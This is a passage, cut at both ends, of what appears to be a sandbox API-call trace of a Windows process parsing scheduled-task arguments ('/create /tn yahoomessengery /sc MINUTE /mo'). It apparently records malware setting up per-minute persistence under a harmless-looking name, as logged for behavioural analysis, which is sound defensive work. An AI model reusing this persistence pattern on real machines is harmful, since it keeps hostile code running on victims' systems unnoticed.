cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.793] lstrlenW (lpString="tr") returned 2 [0065.793] GetThreadLocale () returned 0x409 [0065.793] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.793] lstrlenW (lpString="st") returned 2 [0065.793] GetThreadLocale () returned 0x409 [0065.793] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.793] lstrlenW (lpString="sd") returned 2 [0065.793] GetThreadLocale () returned 0x409 [0065.793] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.793] lstrlenW (lpString="ed") returned 2 [0065.793] GetThreadLocale () returned 0x409 [0065.793] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.793] lstrlenW (lpString="it") returned 2 [0065.793] GetThreadLocale () returned 0x409 [0065.793] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.794] lstrlenW (lpString="et") returned 2 [0065.794] GetThreadLocale () returned 0x409 [0065.794] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.794] lstrlenW (lpString="k") returned 1 [0065.794] GetThreadLocale () returned 0x409 [0065.794] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.794] lstrlenW (lpString="du") returned 2 [0065.794] GetThreadLocale () returned 0x409 [0065.794] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.794] lstrlenW (lpString="ri") returned 2 [0065.794] GetThreadLocale () returned 0x409 [0065.794] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.794] lstrlenW (lpString="z") returned 1 [0065.794] GetThreadLocale () returned 0x409 [0065.794] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.794] lstrlenW (lpString="f") returned 1 [0065.794] GetThreadLocale () returned 0x409 [0065.794] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.794] lstrlenW (lpString="v1") returned 2 [0065.794] GetThreadLocale () returned 0x409 [0065.794] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.794] lstrlenW (lpString="xml") returned 3 [0065.794] GetThreadLocale () returned 0x409 [0065.794] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.794] lstrlenW (lpString="ec") returned 2 [0065.794] GetThreadLocale () returned 0x409 [0065.794] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.795] lstrlenW (lpString="rl") returned 2 [0065.795] GetThreadLocale () returned 0x409 [0065.795] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.795] lstrlenW (lpString="delay") returned 5 [0065.795] GetThreadLocale () returned 0x409 [0065.795] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0065.795] lstrlenW (lpString="np") returned 2 [0065.795] SetLastError (dwErrCode=0x0) [0065.795] SetLastError (dwErrCode=0x0) [0065.795] lstrlenW (lpString="/create") returned 7 [0065.795] lstrlenW (lpString="-/") returned 2 [0065.795] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0065.795] lstrlenW (lpString="create") returned 6 [0065.795] lstrlenW (lpString="create") returned 6 [0065.795] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.795] lstrlenW (lpString="create") returned 6 [0065.795] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.795] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|create|") returned 8 [0065.795] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|create|") returned 8 [0065.795] lstrlenW (lpString="|create|") returned 8 [0065.795] lstrlenW (lpString="|create|") returned 8 [0065.795] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0065.795] SetLastError (dwErrCode=0x0) [0065.795] SetLastError (dwErrCode=0x0) [0065.796] SetLastError (dwErrCode=0x0) [0065.796] lstrlenW (lpString="/tn") returned 3 [0065.796] lstrlenW (lpString="-/") returned 2 [0065.796] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0065.796] lstrlenW (lpString="create") returned 6 [0065.796] lstrlenW (lpString="create") returned 6 [0065.796] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.796] lstrlenW (lpString="tn") returned 2 [0065.796] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.796] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|create|") returned 8 [0065.796] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.796] lstrlenW (lpString="|create|") returned 8 [0065.796] lstrlenW (lpString="|tn|") returned 4 [0065.796] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0065.796] SetLastError (dwErrCode=0x490) [0065.796] lstrlenW (lpString="?") returned 1 [0065.796] lstrlenW (lpString="?") returned 1 [0065.796] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.796] lstrlenW (lpString="tn") returned 2 [0065.796] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.796] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|?|") returned 3 [0065.796] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.796] lstrlenW (lpString="|?|") returned 3 [0065.797] lstrlenW (lpString="|tn|") returned 4 [0065.797] SetLastError (dwErrCode=0x490) [0065.797] lstrlenW (lpString="s") returned 1 [0065.797] lstrlenW (lpString="s") returned 1 [0065.797] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.797] lstrlenW (lpString="tn") returned 2 [0065.797] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.797] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|s|") returned 3 [0065.797] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.797] lstrlenW (lpString="|s|") returned 3 [0065.797] lstrlenW (lpString="|tn|") returned 4 [0065.797] SetLastError (dwErrCode=0x490) [0065.797] lstrlenW (lpString="u") returned 1 [0065.797] lstrlenW (lpString="u") returned 1 [0065.797] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.797] lstrlenW (lpString="tn") returned 2 [0065.797] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.797] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|u|") returned 3 [0065.797] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.797] lstrlenW (lpString="|u|") returned 3 [0065.797] lstrlenW (lpString="|tn|") returned 4 [0065.797] SetLastError (dwErrCode=0x490) [0065.797] lstrlenW (lpString="p") returned 1 [0065.798] lstrlenW (lpString="p") returned 1 [0065.798] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.798] lstrlenW (lpString="tn") returned 2 [0065.798] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.798] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|p|") returned 3 [0065.798] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.798] lstrlenW (lpString="|p|") returned 3 [0065.798] lstrlenW (lpString="|tn|") returned 4 [0065.798] SetLastError (dwErrCode=0x490) [0065.798] lstrlenW (lpString="ru") returned 2 [0065.798] lstrlenW (lpString="ru") returned 2 [0065.798] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.798] lstrlenW (lpString="tn") returned 2 [0065.798] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.798] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|ru|") returned 4 [0065.798] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.798] lstrlenW (lpString="|ru|") returned 4 [0065.798] lstrlenW (lpString="|tn|") returned 4 [0065.798] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0065.798] SetLastError (dwErrCode=0x490) [0065.798] lstrlenW (lpString="rp") returned 2 [0065.798] lstrlenW (lpString="rp") returned 2 [0065.798] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.798] lstrlenW (lpString="tn") returned 2 [0065.799] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.799] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|rp|") returned 4 [0065.799] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.799] lstrlenW (lpString="|rp|") returned 4 [0065.799] lstrlenW (lpString="|tn|") returned 4 [0065.799] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0065.799] SetLastError (dwErrCode=0x490) [0065.799] lstrlenW (lpString="sc") returned 2 [0065.799] lstrlenW (lpString="sc") returned 2 [0065.799] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.799] lstrlenW (lpString="tn") returned 2 [0065.799] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.799] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|sc|") returned 4 [0065.799] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.799] lstrlenW (lpString="|sc|") returned 4 [0065.799] lstrlenW (lpString="|tn|") returned 4 [0065.799] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0065.799] SetLastError (dwErrCode=0x490) [0065.799] lstrlenW (lpString="mo") returned 2 [0065.799] lstrlenW (lpString="mo") returned 2 [0065.799] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.799] lstrlenW (lpString="tn") returned 2 [0065.799] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.800] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|mo|") returned 4 [0065.800] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.800] lstrlenW (lpString="|mo|") returned 4 [0065.800] lstrlenW (lpString="|tn|") returned 4 [0065.800] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0065.800] SetLastError (dwErrCode=0x490) [0065.800] lstrlenW (lpString="d") returned 1 [0065.800] lstrlenW (lpString="d") returned 1 [0065.800] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.800] lstrlenW (lpString="tn") returned 2 [0065.800] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.800] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|d|") returned 3 [0065.800] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.800] lstrlenW (lpString="|d|") returned 3 [0065.800] lstrlenW (lpString="|tn|") returned 4 [0065.800] SetLastError (dwErrCode=0x490) [0065.800] lstrlenW (lpString="m") returned 1 [0065.800] lstrlenW (lpString="m") returned 1 [0065.800] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.800] lstrlenW (lpString="tn") returned 2 [0065.800] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.800] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|m|") returned 3 [0065.800] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.801] lstrlenW (lpString="|m|") returned 3 [0065.801] lstrlenW (lpString="|tn|") returned 4 [0065.801] SetLastError (dwErrCode=0x490) [0065.801] lstrlenW (lpString="i") returned 1 [0065.801] lstrlenW (lpString="i") returned 1 [0065.801] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.801] lstrlenW (lpString="tn") returned 2 [0065.801] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.801] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|i|") returned 3 [0065.801] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.801] lstrlenW (lpString="|i|") returned 3 [0065.801] lstrlenW (lpString="|tn|") returned 4 [0065.801] SetLastError (dwErrCode=0x490) [0065.801] lstrlenW (lpString="tn") returned 2 [0065.801] lstrlenW (lpString="tn") returned 2 [0065.801] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.801] lstrlenW (lpString="tn") returned 2 [0065.801] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.801] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.801] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|tn|") returned 4 [0065.801] lstrlenW (lpString="|tn|") returned 4 [0065.801] lstrlenW (lpString="|tn|") returned 4 [0065.801] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0065.802] SetLastError (dwErrCode=0x0) [0065.802] SetLastError (dwErrCode=0x0) [0065.802] lstrlenW (lpString="yahoomessengery") returned 15 [0065.802] lstrlenW (lpString="-/") returned 2 [0065.802] StrChrIW (lpStart="-/", wMatch=0x79) returned 0x0 [0065.802] SetLastError (dwErrCode=0x490) [0065.802] SetLastError (dwErrCode=0x490) [0065.802] SetLastError (dwErrCode=0x0) [0065.802] lstrlenW (lpString="yahoomessengery") returned 15 [0065.802] StrChrIW (lpStart="yahoomessengery", wMatch=0x3a) returned 0x0 [0065.802] SetLastError (dwErrCode=0x490) [0065.802] SetLastError (dwErrCode=0x0) [0065.802] lstrlenW (lpString="yahoomessengery") returned 15 [0065.802] SetLastError (dwErrCode=0x0) [0065.802] SetLastError (dwErrCode=0x0) [0065.802] lstrlenW (lpString="/sc") returned 3 [0065.802] lstrlenW (lpString="-/") returned 2 [0065.802] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0065.802] lstrlenW (lpString="create") returned 6 [0065.802] lstrlenW (lpString="create") returned 6 [0065.802] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.802] lstrlenW (lpString="sc") returned 2 [0065.802] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.802] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|create|") returned 8 [0065.803] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|sc|") returned 4 [0065.803] lstrlenW (lpString="|create|") returned 8 [0065.803] lstrlenW (lpString="|sc|") returned 4 [0065.803] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0065.803] SetLastError (dwErrCode=0x490) [0065.803] lstrlenW (lpString="?") returned 1 [0065.803] lstrlenW (lpString="?") returned 1 [0065.803] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.803] lstrlenW (lpString="sc") returned 2 [0065.803] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.803] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|?|") returned 3 [0065.803] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|sc|") returned 4 [0065.803] lstrlenW (lpString="|?|") returned 3 [0065.803] lstrlenW (lpString="|sc|") returned 4 [0065.803] SetLastError (dwErrCode=0x490) [0065.803] lstrlenW (lpString="s") returned 1 [0065.803] lstrlenW (lpString="s") returned 1 [0065.803] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.803] lstrlenW (lpString="sc") returned 2 [0065.803] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.803] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|s|") returned 3 [0065.803] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|sc|") returned 4 [0065.803] lstrlenW (lpString="|s|") returned 3 [0065.803] lstrlenW (lpString="|sc|") returned 4 [0065.804] SetLastError (dwErrCode=0x490) [0065.804] lstrlenW (lpString="u") returned 1 [0065.804] lstrlenW (lpString="u") returned 1 [0065.804] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.804] lstrlenW (lpString="sc") returned 2 [0065.804] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.804] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|u|") returned 3 [0065.804] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|sc|") returned 4 [0065.804] lstrlenW (lpString="|u|") returned 3 [0065.804] lstrlenW (lpString="|sc|") returned 4 [0065.804] SetLastError (dwErrCode=0x490) [0065.804] lstrlenW (lpString="p") returned 1 [0065.804] lstrlenW (lpString="p") returned 1 [0065.804] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.804] lstrlenW (lpString="sc") returned 2 [0065.804] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.804] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|p|") returned 3 [0065.804] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|sc|") returned 4 [0065.804] lstrlenW (lpString="|p|") returned 3 [0065.804] lstrlenW (lpString="|sc|") returned 4 [0065.804] SetLastError (dwErrCode=0x490) [0065.804] lstrlenW (lpString="ru") returned 2 [0065.804] lstrlenW (lpString="ru") returned 2 [0065.804] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.805] lstrlenW (lpString="sc") returned 2 [0065.805] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.805] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|ru|") returned 4 [0065.805] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|sc|") returned 4 [0065.805] lstrlenW (lpString="|ru|") returned 4 [0065.805] lstrlenW (lpString="|sc|") returned 4 [0065.805] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0065.805] SetLastError (dwErrCode=0x490) [0065.805] lstrlenW (lpString="rp") returned 2 [0065.805] lstrlenW (lpString="rp") returned 2 [0065.805] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.805] lstrlenW (lpString="sc") returned 2 [0065.805] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.805] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|rp|") returned 4 [0065.805] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|sc|") returned 4 [0065.805] lstrlenW (lpString="|rp|") returned 4 [0065.805] lstrlenW (lpString="|sc|") returned 4 [0065.805] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0065.805] SetLastError (dwErrCode=0x490) [0065.805] lstrlenW (lpString="sc") returned 2 [0065.805] lstrlenW (lpString="sc") returned 2 [0065.805] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.805] lstrlenW (lpString="sc") returned 2 [0065.805] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.806] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|sc|") returned 4 [0065.806] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|sc|") returned 4 [0065.806] lstrlenW (lpString="|sc|") returned 4 [0065.806] lstrlenW (lpString="|sc|") returned 4 [0065.806] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0065.806] SetLastError (dwErrCode=0x0) [0065.806] SetLastError (dwErrCode=0x0) [0065.806] lstrlenW (lpString="MINUTE") returned 6 [0065.806] lstrlenW (lpString="-/") returned 2 [0065.806] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0065.806] SetLastError (dwErrCode=0x490) [0065.806] SetLastError (dwErrCode=0x490) [0065.806] SetLastError (dwErrCode=0x0) [0065.806] lstrlenW (lpString="MINUTE") returned 6 [0065.806] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0065.806] SetLastError (dwErrCode=0x490) [0065.806] SetLastError (dwErrCode=0x0) [0065.806] GetProcessHeap () returned 0x2d0000 [0065.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed700 [0065.806] _memicmp (_Buf1=0x2ed700, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.806] lstrlenW (lpString="MINUTE") returned 6 [0065.806] GetProcessHeap () returned 0x2d0000 [0065.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed720 [0065.806] lstrlenW (lpString="MINUTE") returned 6 [0065.806] lstrlenW (lpString=" \x09") returned 2 [0065.806] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0065.807] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0065.807] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0065.807] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0065.807] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0065.807] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0065.807] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0065.807] GetLastError () returned 0x0 [0065.807] lstrlenW (lpString="MINUTE") returned 6 [0065.807] lstrlenW (lpString="MINUTE") returned 6 [0065.807] SetLastError (dwErrCode=0x0) [0065.807] SetLastError (dwErrCode=0x0) [0065.807] lstrlenW (lpString="/mo") returned 3 [0065.807] lstrlenW (lpString="-/") returned 2 [0065.807] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0065.807] lstrlenW (lpString="create") returned 6 [0065.807] lstrlenW (lpString="create") returned 6 [0065.807] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.807] lstrlenW (lpString="mo") returned 2 [0065.807] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.807] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|create|") returned 8 [0065.807] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|mo|") returned 4 [0065.807] lstrlenW (lpString="|create|") returned 8 [0065.807] lstrlenW (lpString="|mo|") returned 4 [0065.807] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0065.807] SetLastError (dwErrCode=0x490) [0065.808] lstrlenW (lpString="?") returned 1 [0065.808] lstrlenW (lpString="?") returned 1 [0065.808] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.808] lstrlenW (lpString="mo") returned 2 [0065.808] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.808] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|?|") returned 3 [0065.808] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|mo|") returned 4 [0065.808] lstrlenW (lpString="|?|") returned 3 [0065.808] lstrlenW (lpString="|mo|") returned 4 [0065.808] SetLastError (dwErrCode=0x490) [0065.808] lstrlenW (lpString="s") returned 1 [0065.808] lstrlenW (lpString="s") returned 1 [0065.808] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.808] lstrlenW (lpString="mo") returned 2 [0065.808] _memicmp (_Buf1=0x2ec3c0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.808] _vsnwprintf (in: _Buffer=0x2ec400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|s|") returned 3 [0065.808] _vsnwprintf (in: _Buffer=0x2ec3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc168 | out: _Buffer="|mo|") returned 4 [0065.808] lstrlenW (lpString="|s|") returned 3 [0065.808] lstrlenW (lpString="|mo|") returned 4 [0065.808] SetLastError (dwErrCode=0x490) [0065.808] lstrlenW (lpString="u") returned 1 [0065.808] lstrlenW (lpString="u") returned 1 [0065.809] _memicmp (_Buf1=0x2ec280, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0065.809] lstrlenW (lpString="mo") returned 2 [0065.809] _memicmp 